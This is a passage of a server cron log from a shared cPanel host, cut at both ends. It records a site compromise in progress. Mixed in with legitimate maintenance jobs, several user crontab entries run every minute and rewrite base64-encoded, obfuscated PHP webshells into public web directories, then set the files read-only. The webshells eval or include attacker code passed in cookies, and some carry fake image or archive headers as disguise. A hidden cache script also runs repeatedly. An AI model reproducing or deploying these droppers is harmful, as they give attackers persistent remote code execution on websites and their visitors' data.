OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:15:01 medusa CROND[4240]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:15:01 medusa CROND[4252]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:15:01 medusa CROND[4281]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4330]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:15:01 medusa CROND[4405]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4407]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:15:01 medusa CROND[4410]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:15:01 medusa CROND[4409]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:15:01 medusa CROND[4412]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:15:01 medusa CROND[4418]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:15:01 medusa CROND[4419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:15:01 medusa CROND[4420]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:15:01 medusa CROND[4425]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4427]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:15:01 medusa CROND[4423]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:15:01 medusa CROND[4429]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:15:01 medusa CROND[4438]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:15:01 medusa CROND[4439]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4440]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:15:01 medusa CROND[4444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:15:01 medusa CROND[4426]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:16:01 medusa CROND[26727]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:16:01 medusa CROND[26728]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:16:01 medusa CROND[26729]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:16:01 medusa CROND[26730]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:16:01 medusa CROND[26731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:16:01 medusa CROND[26732]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:16:01 medusa CROND[26733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:16:01 medusa CROND[26737]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:16:01 medusa CROND[26738]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:16:01 medusa CROND[26739]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:16:01 medusa CROND[26742]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:16:01 medusa CROND[26743]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:16:01 medusa CROND[26740]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:16:01 medusa CROND[26766]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:17:01 medusa CROND[17714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:17:02 medusa CROND[17805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:17:02 medusa CROND[17816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:17:02 medusa CROND[17818]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 